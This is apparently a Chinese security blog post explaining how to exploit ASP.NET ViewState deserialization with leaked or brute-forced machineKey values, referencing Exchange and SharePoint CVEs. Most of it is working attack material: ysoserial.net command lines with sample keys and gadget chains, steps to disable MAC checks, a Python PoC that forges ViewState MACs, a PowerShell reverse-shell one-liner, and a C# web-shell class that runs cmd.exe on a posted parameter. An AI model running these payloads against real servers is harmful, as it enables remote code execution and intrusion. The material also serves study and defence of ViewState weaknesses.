关于ViewState

这里摘一下网上的文章

.NET 相关漏洞中,ViewState也算是一个常客了。Exchange CVE-2020-0688,SharePoint CVE-2020-16952 中都出现过ViewState的身影。其实ViewState 并不算漏洞,只是ASP.NET 在生成和解析ViewState时使用ObjectStateFormatter 进行序列化和反序列化,虽然在序列化后又进行了加密和签名,但是一旦泄露了加密和签名所使用的算法和密钥,我们就可以将ObjectStateFormatter 的反序列化payload 伪装成正常的ViewState,并触发ObjectStateFormatter 的反序列化漏洞。

加密和签名序列化数据所用的算法和密钥存放在web.confg 中,Exchange 0688 是由于所有安装采用相同的默认密钥,而Sharepoitn 16952 则是因为泄露web.confg 。.NET 反序列化神器 ysoserial.net 中有关于ViewState 的插件,其主要作用就是利用泄露的算法和密钥伪造ViewState的加密和签名,触发ObjectStateFormatter 反序列化漏洞。但是我们不应该仅仅满足于工具的使用,所以特意分析了ViewState 的加密和签名过程作成此文,把工具用的明明白白的。

machineKey格式:

<machineKey validationKey="[String]"  decryptionKey="[String]" validation="[SHA1 | MD5 | 3DES | AES | HMACSHA256 | HMACSHA384 | HMACSHA512 | alg:algorithm_name]"  decryption="[Auto | DES | 3DES | AES | alg:algorithm_name]" />
<machineKey validationKey="BF579EF0E9F0C85277E75726BFC9D0260FADE8DE2864A583484AA132944F602D" decryptionKey="51FE611365277B07911521B7CAFE3766751D16C33D96242F0E63E93FB102BCE2" validation="HMACSHA256" />

其中的validationKeydecryptionKey 分别是校验和加密所用的密钥,validationdecryption则是校验和加密所使用的算法(可以省略,采用默认算法)。校验算法包括:SHA1、 MD5、 3DES、 AES、 HMACSHA256、 HMACSHA384、 HMACSHA512。加密算法包括:DES、3DES、AES。由于web.config 保存在服务端上,在不泄露machineKey的情况下,保证了ViewState的安全性。

.net <= 4.5 禁用Mac验证

.NET≤4.5 且没打补丁KB2905247 (ViewState Mac未开启) 同时满足,实际测试就算小于4.0也是开启了mac验证的( 打了补丁 KB2905247),并且强制关闭需要两步:

  • 1.1修改注册表 需要重启!

    注册表位置:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft.NETFramework\v4.0.30319

  • 可以改注册表强制关闭viewstate mac验证,新建项AspNetEnforceViewStateMac的值为 0

  • 第二步web.configpages项添加配置,允许接收不被信任的反序列数据。

<pages enableViewState="false" enableViewStateMac="false" />
  1. enableViewState:用于设置是否开启 ViewState,根据安全通告KB2905247中所说,即使在web.config中将enableViewState设置为false,ASP.NET服务器也始终被动解析ViewState。也就是说,该选项可以影响ViewState的生成,但是不影响ViewState的被动解析。实际上,viewStateEncryptionMode也有类似的特点。

  2. enableViewStateMac:用于设置是否开启ViewState Mac (校验)功能。在安全通告KB2905247之前,也就是 4.5.2 之前,该选项为false,可以禁止Mac校验功能。但是在4.5.2 之后,强制开启ViewState Mac 校验功能,因为禁用该选项会带来严重的安全问题。

在有ViewStateUserKey的情况下:

ViewStateUserKey 属性可用于抵御 CSRF 攻击。如果目标配置了ViewStateUserKey,那么需要将--viewstateuserkey参数传递给ysoserial 生成Payload,不然是不会执行payload的。

接下来就可以使用ysoserial.exe来生成反序列化数据。

ysoserial.exe -o base64 -g TypeConfuseDelegate -f LosFormatter -c "echo hacker > C:\Windows\temp\test.txt"

生成出来的base64编码记得再URLencode一下再提交。

.net <= 4.5 开启Mac验证

开了mac验证,就必须知道key才能打。如果不知道key,但是知道页面中含有__Viewstate参数和__VIEWSTATEGENERATOR,可以结合起来利用AspDotNetWrapper进行爆破key。

这里做一个测试,假设web.config文件内容如下(注意还有pages的两个参数为false):

<?xml version="1.0" encoding="UTF-8"?><configuration><system.web><customErrors mode="Off" /><machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" /><pages enableViewStateMac="true" enableEventValidation="false" /></system.web></configuration>

如果目标的aspx文件里面不存在__Viewstate__VIEWSTATEGENERATOR,可以自己创建一个aspx作为测试用

//test.aspx<%@ Page Language="C#" AutoEventWireup="true" CodeFile="test.aspx.cs" Inherits="test" %><!DOCTYPE html><html xmlns="http://www.w3.org/1999/xhtml"><head runat="server">    <title></title></head><body>    <form id="form1" runat="server">        <asp:TextBox id="TextArea1" TextMode="multiline" Columns="50" Rows="5" runat="server" />        <asp:Button ID="Button1" runat="server" OnClick="Button1_Click"                 Text="GO" class="btn"/>  <br />        <asp:Label ID="Label1" runat="server"></asp:Label>    </form></body></html>
//test.aspx.csusing System;using System.Collections.Generic;using System.Web;using System.Web.UI;using System.Web.UI.WebControls;using System.Text.RegularExpressions;using System.Text;using System.IO;public partial class test : System.Web.UI.Page{    protected void Page_Load(object sender, EventArgs e)    {        }    protected override void OnInit(EventArgs e)    {        base.OnInit(e);        }    protected void Button1_Click(object sender, EventArgs e)    {        Label1.Text = TextArea1.Text.ToString();    }}

此页面可以从源码里面获取到__Viewstate,获取到以后通过ysoserial.exe来生成反序列化数据。

ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\windows\temp\test.txt" --path="/test.aspx" --apppath="/" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" --isdebug --islegacy

由于我本地测试的时候,页面只存在__Viewstate参数并没有__VIEWSTATEGENERATOR参数,所以需要在ysoserial指定 --path--apppath两个参数。--path指定为能获取到__Viewstate的任意一个aspx文件,--apppath指定为当前web的虚拟路径。测试本地是根目录,所以就指定的/--validationalg--validationkey对应web.config

这里需要注意的是生成的__VIEWSTATEGENERATOR值为:75BBA7D6,这个值待会需要连同生成的base64反序列化数据一同POST提交到服务器上。

提交上去以后返回500错误。这个应该是正常的。。。但是代码已经执行了

AspDotNetWrapper爆破key

项目Github地址

https://github.com/NotSoSecure/Blacklist3r

使用方法:

--keypath:爆破的key列表文件

--encrypteddata:某个aspx源码里的__Viewstate

--modifier:某个aspx源码里的__VIEWSTATEGENERATOR

如果能顺利爆破出key,就可以生成反序列化数据了(这个概率讲道理很小。。

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo 123 > c:\programdata\test.txt" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

--generator__VIWESTATEGENERATOR值

重置Validationkey

需要为ASP.NET应用程序创建新的应用程序池。这样应用程序才生成新的ASP.NET密钥。

ViewState算法

MAC_HASH = MD5(serialized_data_binary + validation_key + 0x00000000 )
VIEWSATE = Base64_Encode(serialized_data_binary + MAC_HASH)

作者POC:

#!/usr/bin/env python3import hashlibimport base64

'''Generate PowerShell reverse shell command> powershell "[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes('$c=New-Object Net.Sockets.TCPClient(''127.0.0.1'',6666);$s=$c.GetStream();[byte[]]$bytes=0..65535|%{0};while(($i=$s.Read($bytes, 0, $bytes.Length)) -ne 0){;$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sb=(iex $d 2>&1 | Out-String );$sb2=$sb+''PS ''+(pwd).Path+''> '';$sb=([Text.Encoding]::Default).GetBytes($sb2);$s.Write($sb,0,$sb.Length);$s.Flush()};$c.Close()'))"
Generate deserialization gadget by ysoserial.nethttps://github.com/pwntester/ysoserial.net> ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell -nop -enc {reverse shell command}"'''serialized_data = '{base64 encoded serialized data from ysoserial}'payload = base64.b64decode(serialized_data)
# Get machine key by uploading .shtml file (Server Side Include)validation_key = bytes.fromhex('b07b0f97365416288cf0247cffdf135d25f6be87')
'''MAC_Hash = MD5(serialized_data_binary + validation_key + 0x00000000 )
Simple stack trace to get MAC Hash:System.Web.UI.ObjectStateFormatter.Serialize(object stateGraph, Purpose purpose)    MachineKeySection.GetEncodedData(byte[] buf, byte[] modifier, int start, ref int length)        MachineKeySection.HashData(byte[] buf, byte[] modifier, int start, int length)            HashDataUsingNonKeyedAlgorithm(HashAlgorithm hashAlgo, byte[] buf, byte[] modifier, int start, int length, byte[] validationKey)                UnsafeNativeMethods.GetSHA1Hash(byte[] data, int dataSize, byte[] hash, int hashSize);'''mac = hashlib.md5(payload + validation_key + b'\x00\x00\x00\x00').digest()payload = base64.b64encode(payload + mac).decode()print(payload)

.net版本区别

  • ASP.NET version <= 4.0 :需要 ValidationKeyValidationAlg

  • ASP.NET version >= 4.5 :需要ValidationKeyValidationAlg 并且 DecryptionAlgDecryptionKey

ActivitySurrogateSelectorFromFile链

如果要用ActivitySurrogateSelectorFromFile链执行代码,且目标在ASP.NET 4.8及以上,需要先DisableTypeCheck。不然直接用这条链打的话,会报state到Pair的转换错误。(这个不是100%会报错,也可以直接打,亲测!)

ActivitySurrogateDisableTypeCheck链需要.net 4.8及以上版本

ysoserial.exe -p ViewState -g ActivitySurrogateDisableTypeCheck -c "ignore" --validationalg="HMACSHA256" --validationkey="B298BA4E89C9631254E60F7C6E60B3287554B5175906E3CF8C446D9D5EAB496CEA7C76460CBC3095A7ABFC9C71BBE7CA5276CD412BE2F5F142C0F7624062734E" --generator="5F3023B1" --decryptionalg="AES" --decryptionkey="B298BA4EB3474EAE783D6A3295021698ECB183CDC9D407F1" --islegacy --isdebug --isencrypted

然后再利用ActivitySurrogateSelectorFromFile链执行代码。在code.cs中,写一个类(把需要执行的代码写在构造函数或者静态代码块中)反序列化时会实例化该类。code.cs/System.Web.dll/System.dll 放在ysoserial同级目录下面,另外两个DLL可以在C:\Windows\Microsoft.NET\Framework64\v4.0.30319下找到

ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c "code.cs;System.Web.dll;System.dll;" --validationalg="HMACSHA256" --validationkey="B298BA4E89C9631254E60F7C6E60B3287554B5175906E3CF8C446D9D5EAB496CEA7C76460CBC3095A7ABFC9C71BBE7CA5276CD412BE2F5F142C0F7624062734E" --generator="5F3023B1" --decryptionalg="AES" --decryptionkey="B298BA4EB3474EAE783D6A3295021698ECB183CDC9D407F1" --islegacy --isdebug --isencrypted

code.cs代码如下:

class E{    public E()    {        System.Web.HttpContext context = System.Web.HttpContext.Current;        context.Server.ClearError();        context.Response.Clear();        try        {            System.Diagnostics.Process process = new System.Diagnostics.Process();            process.StartInfo.FileName = "cmd.exe";            string cmd = context.Request.Form["cmd"];            process.StartInfo.Arguments = "/c " + cmd;            process.StartInfo.RedirectStandardOutput = true;            process.StartInfo.RedirectStandardError = true;            process.StartInfo.UseShellExecute = false;            process.Start();            string output = process.StandardOutput.ReadToEnd();            context.Response.Write(output);        } catch (System.Exception) {}        context.Response.Flush();        context.Response.End();    }}

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。